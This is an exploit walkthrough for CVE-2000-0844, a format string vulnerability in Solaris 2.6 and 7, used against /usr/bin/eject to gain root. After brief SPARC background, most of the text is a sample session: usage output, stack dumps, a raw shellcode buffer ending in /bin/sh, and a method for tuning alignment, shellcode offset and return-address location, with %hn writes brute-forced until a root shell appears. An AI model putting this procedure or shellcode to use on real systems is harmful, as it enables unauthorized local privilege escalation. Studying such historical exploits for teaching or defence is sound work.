Solaris locale format string exploit

CVE-2000-0844

This is an exploit for a format string vulnerability on Solaris 2.6 and 7. It is based on the code by Warning3, modified substantially to increase its reliability.

Downloads

The SPARC architecure and procedure calls

For those who are not familiar with the SPARC CPU architecture, the Technical SPARC CPU Resources website contains links to useful resources. A good introduction to the SPARC architecture and assembly language programming for Solaris can be found in Assembly Programming Journal Issue 3.

An example for Solaris/SPARC shell code is given in Smashing the Stack for Fun and Profit. Solaris 2.6 provides a non-executable stack protection (noexec_user_stack in /etc/system) which can be easily defeated. For more information refer to Defeating Solaris/SPARC Non-Executable Stack Protection by John McDonald.

It is also important to understand how the SPARC architecture handles function calls. Information about the stack on Solaris is available in Understanding stacks and registers in the Sparc architecture. The Solaris/SPARC Application Binary Interface specification is another invaluable resource.

Exploiting the vulnerability step by step

The source code of the exploit has been successfully compiled on Solaris 2.6 and 7 with the GNU C compiler.

Most format string exploits require the attacker to specify a couple of system specific values, such as the return address location and the align of the shell code. Hourlong tracing of the vulnerable program execution with gdb is often the only way to get the correct values for these parameters. The exploit presented in this paper provides assistance in guessing these parameters. This allows the attacker to fully automate the exploitation of the vulnerability through a Perl wrapper.

The exploit can be run in 3 different modes. The 'dump' mode generates a stack dump, which allows the attacker to determine the values for the --num and the --align parameters. The 'shell' mode prints a string located at an user-specified location in memory, thus allowing the attacker to adjust the value of the --shellofs parameter. The --retlocofs parameter is the only parameter that can not be easily guessed, but it can be brute-forced by using the 'exploit' mode.

Here is a sample session of running the exploit on Solaris 2.6. Detailed explanation of what's going on is provided.

$ gcc -o local_sol local_sol.c 
$ ./local_sol 
Usage:
    ./local_sol [command] [options]

Commands:
  dump                   Dumps the stack
  shell                  Dumps the shell buffer
  exploit                Exploits /usr/bin/eject

Options:
  --num=96               Number of words to dump from the stack
  --align=2              Sets the alignment (0, 1, 2 or 3)
  --shellofs=-6          Offset of the shell buffer
  --retlocofs=-4         Retloc adjustment (must be divisible by 4)
  --retloc=0xeffffa3c    Location of the return address

This --retloc option was used for debugging purposes. By setting it to 0xfffffff0 or a similar value the hacker can cause a Bus Error when the return address is overwritten. This can be used as a gdb breakpoint.

Step 1 : Determine the values of --num and --align

First the attacker needs to get the correct values of the --num and the --align parameters. This can be accomplished by running the exploit with some nice round numbers as parameters and inspecting the resulting stack dump.

$ ./local_sol dump --num=100 --align=2
Calculated shell buffer address: 0xeffffbd1
Warning: sh_addr + align must be word aligned. Adjust shellofs and align as neccessary
Calculated retloc: 0xeffffa33
Calculated shell code jump location: 0xeffffc13

Stack dump mode, dumping 100 words
num: 100                align: 2        shellofs: -6    retlocofs: -16  retloc: 0xeffffa33

/usr/bin/eject: illegal option -- x
effffbb47efefeff0000000200ff0000ef727968effffbb4000000000000000000000000000000000000000000000000ef7e
f4cc00000002effffb240001252000022e0c0000000000000000effffac00001117800000003effffb2400000004effffb30
00000005effffb3c000000000000000000000002effffb24effffb3000022c00000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
00000000000000000000000000000002effffbb4effffbc300000000effffbc6effffbd100000000000007d8efffffd10000
07deefffffe7000000030001003400000004000000200000000500000005000000090001109c00000007ef7c000000000008
000003000000000600002000000007d000000000000007d100001f0d000007d2000000c9000007d3000000c9000007d90000
000700000000000000002f7573722f62696e2f656a656374002d78004e4c53504154483d3a2e00414142424242effffa3342
options:        -f force eject
                -n show nicknames
                -d show default device
                -q query for media present
                -p do not call eject_popup

The exploit puts the shell code in the environment of /usr/bin/eject before calling it. The 'dump' option specifies a format string that consists of num '%.8x' format specifies. This makes printf() dump num values from the stack, starting from the top of the stack. When /usr/bin/eject calls the printf the stack looks like this:

top of the stack
...                 <- N words
process arguments
process environment <- shellcode
bottom of the stack

We can see the beginning of the shellcode in the stack dump. It looks like this: (refer to the source code to see how the shellcode is generated)

4141 42424242 effffa33 42424242
^    ^        ^        ^
|    |        |        |--- always 0x42424242
|    |        |       
|    |        |--- retloc
|    |
|    |--- always 0x42424242
|
|--- alignment padding with 'A' (0x41) bytes

The number of the 0x41 bytes is specified by the --align parameter. The --num parameter specifies how many words should be dumped from the stack. The goal is to get --num equal to N, the number of the words betwwen the top of the stack and the first 0x42424242 value in the shellcode. The attacker can determine this number by counting the words in the stack dump or by making --num smaller and smaller until it reaches N.

The align needs to be adjusted to make the 0x42424242 value be word aligned. In this example --align should be set to 3.

$ ./local_sol dump --num=99 --align=3
Calculated shell buffer address: 0xeffffbd1
Calculated retloc: 0xeffffa38
Calculated shell code jump location: 0xeffffc14

Stack dump mode, dumping 99 words
num: 99         align: 3        shellofs: -6    retlocofs: -16  retloc: 0xeffffa38

/usr/bin/eject: illegal option -- x
effffbb47efefeff0000000200ff0000ef727968effffbb4000000000000000000000000000000000000000000000000ef7e
f4cc00000002effffb240001252000022e0c0000000000000000effffac00001117800000003effffb2400000004effffb30
00000005effffb3c000000000000000000000002effffb24effffb3000022c00000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
00000000000000000000000000000002effffbb4effffbc300000000effffbc6effffbd100000000000007d8efffffd10000
07deefffffe7000000030001003400000004000000200000000500000005000000090001109c00000007ef7c000000000008
000003000000000600002000000007d000000000000007d100001f0d000007d2000000c9000007d3000000c9000007d90000
000700000000000000002f7573722f62696e2f656a656374002d78004e4c53504154483d3a2e0041414142424242
options:        -f force eject
                -n show nicknames
                -d show default device
                -q query for media present
                -p do not call eject_popup

The 0x42424242 value is properly aligned with --align=3. The --num parameter should be set to 98 to get the stack dump stop before it reaches this value. The attacker has two of the parameters set right and it's time for the next step.

Step 2 : Determine the value of --shellofs

The exact address of the shell code in the process'es environment has to be determined. The exploit code tries to guess it, but it is usually off by some small value. That's why the attacker runs exploit with the 'shell' option to get a dump of the shell code from the process environment.

$ ./local_sol shell --num=98 --align=3 --shellofs=0
Calculated shell buffer address: 0xeffffbd7
Warning: sh_addr + align must be word aligned. Adjust shellofs and align as neccessary
Calculated retloc: 0xeffffa42
Calculated shell code jump location: 0xeffffc1a

shellbuf (length = 1024): AAAïÿû×ïÿúBBBBBïÿúD¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬
¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡
n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n
¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬
¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡
n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n
¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬
¡n¬¡n¬¡n¬¡?ÿ Ъ@`   ` >Ð Is ba se :)ÿÿÿ
à4Ð#¿øÀ#¿üÀ*  ;Ð Ð/bin/shÿAAAA
        
Shell buffer dump mode, shell buffer address is 0xeffffbd7
num: 98         align: 3        shellofs: 0     retlocofs: -16  retloc: 0xeffffa42

/usr/bin/eject: illegal option -- x
effffbb47efefeff0000000200ff0000ef727968effffbb4000000000000000000000000000000000000000000000000ef7e
f4cc00000002effffb240001252000022e0c0000000000000000effffac00001117800000003effffb2400000004effffb30
00000005effffb3c000000000000000000000002effffb24effffb3000022c00000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
00000000000000000000000000000002effffbb4effffbc300000000effffbc6effffbd100000000000007d8efffffd10000
07deefffffe7000000030001003400000004000000200000000500000005000000090001109c00000007ef7c000000000008
000003000000000600002000000007d000000000000007d100001f0d000007d2000000c9000007d3000000c9000007d90000
000700000000000000002f7573722f62696e2f656a656374002d78004e4c53504154483d3a2e00414141 Shell buffer: ×
ïÿúBBBBBïÿúD¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬
¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡
n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n
¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬
¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡
n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n
¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡?ÿ Ъ@`    ` >Ð Is ba s
e :)ÿÿÿ
à4Ð#¿øÀ#¿üÀ*  ;Ð Ð/bin/shÿAAAA
options:        -f force eject
                -n show nicknames
                -d show default device
                -q query for media present
                -p do not call eject_popup

When run with the 'shell' option the exploit prints the shell code before /usr/bin/eject is executed. Then it appends " Shell buffer %s" to the end of the format string. This causes printf() to read an address from the stack and print out the string located at this address. If the correct values for --num and --align are used, this address will contain the first 0x42424242 word from the shell code. When the 'shell' option is used, the exploit overwrites 0x42424242 with the guessed shell code address. The end result is that printf() prints out the shell code. Usually the guess for the shell code's address will be off by some small number and the attacker would use the --shellofs option to adjust it.

$ ./local_sol shell --num=98 --align=3 --shellofs=-6
Calculated shell buffer address: 0xeffffbd1
Calculated retloc: 0xeffffa3c
Calculated shell code jump location: 0xeffffc14

shellbuf (length = 1024): AAAïÿûÑïÿú<BBBBïÿú>¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬
¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡
n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n
¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬
¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡
n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n
¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬
¡n¬¡n¬¡n¬¡?ÿ Ъ@`   ` >Ð Is ba se :)ÿÿÿ
à4Ð#¿øÀ#¿üÀ*  ;Ð Ð/bin/shÿAAAA

Shell buffer dump mode, shell buffer address is 0xeffffbd1
num: 98         align: 3        shellofs: -6    retlocofs: -16  retloc: 0xeffffa3c

/usr/bin/eject: illegal option -- x
effffbb47efefeff0000000200ff0000ef727968effffbb4000000000000000000000000000000000000000000000000ef7e
f4cc00000002effffb240001252000022e0c0000000000000000effffac00001117800000003effffb2400000004effffb30
00000005effffb3c000000000000000000000002effffb24effffb3000022c00000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
00000000000000000000000000000002effffbb4effffbc300000000effffbc6effffbd100000000000007d8efffffd10000
07deefffffe7000000030001003400000004000000200000000500000005000000090001109c00000007ef7c000000000008
000003000000000600002000000007d000000000000007d100001f0d000007d2000000c9000007d3000000c9000007d90000
000700000000000000002f7573722f62696e2f656a656374002d78004e4c53504154483d3a2e00414141 Shell buffer: A
AAïÿûÑïÿú<BBBBïÿú>¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬
¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡
n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n
¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬
¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡
n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n
¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡n¬¡?ÿ Ъ@`      ` >Ð
Is ba se :)ÿÿÿ
à4Ð#¿øÀ#¿üÀ*  ;Ð Ð/bin/shÿAAAA
options:        -f force eject
                -n show nicknames
                -d show default device
                -q query for media present
                -p do not call eject_popup

By setting --shellofs to -6 the correct address of the shell code is found. In this example it is 0xeffffbd1. Now it is time to use the 'exploit' option.

Step 3 : Determine the value of --retlocofs and get root

When called with the 'exploit' option, the exploit appends two %hn format specifiers to the format string, causing an arbitrary memory location to be overwritten with a user-supplied value. In this case the exploit will overwrite a return address on the stack with the shell code jump address (the shell code jump address is equal to the beginning of the shell code + 64). Guassing the correct return address location is not easy. The exploit calculates the address of the first word in the stack dump. Then the value of --retlocofs is added to to this address and the resulting address is overwritten with the shell code jump address. Unfortunately it's impossible to determine the correct --retlocofs, but the attacker can run the exploit multiple times with different values until he gets a root prompt.

$ ./local_sol exploit --num=98 --align=3 --shellofs=-6 --retlocofs=-16
Calculated shell buffer address: 0xeffffbd1
Calculated retloc: 0xeffffa3c
Calculated shell code jump location: 0xeffffc14

Exploit mode, jumping to 0xeffffc14
num: 98         align: 3        shellofs: -6    retlocofs: -16  retloc: 0xeffffa3c

       /usr/bin/eject: illegal option -- x
effffbb47efefeff0000000200ff0000ef727968effffbb4000000000000000000000000000000000000000000000000ef7e
f4cc00000002effffb240001252000022e0c0000000000000000effffac00001117800000003effffb2400000004effffb30
00000005effffb3c000000000000000000000002effffb24effffb3000022c00000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
00000000000000000000000000000002effffbb4effffbc300000000effffbc6effffbd100000000000007d8efffffd10000
07deefffffe7000000030001003400000004000000200000000500000005000000090001109c00000007ef7c000000000008
000003000000000600002000000007d000000000000007d100001f0d000007d2000000c9000007d3000000c9000007d90000
000700000000000000002f7573722f62696e2f656a656374002d78004e4c53504154483d3a2e00414141


                                                              B














                                             B
options:        -f force eject
                -n show nicknames
                -d show default device
                -q query for media present
                -p do not call eject_popup
#

After running the exploit a couple of times with different retlocofs values, the attacker gets a root shell.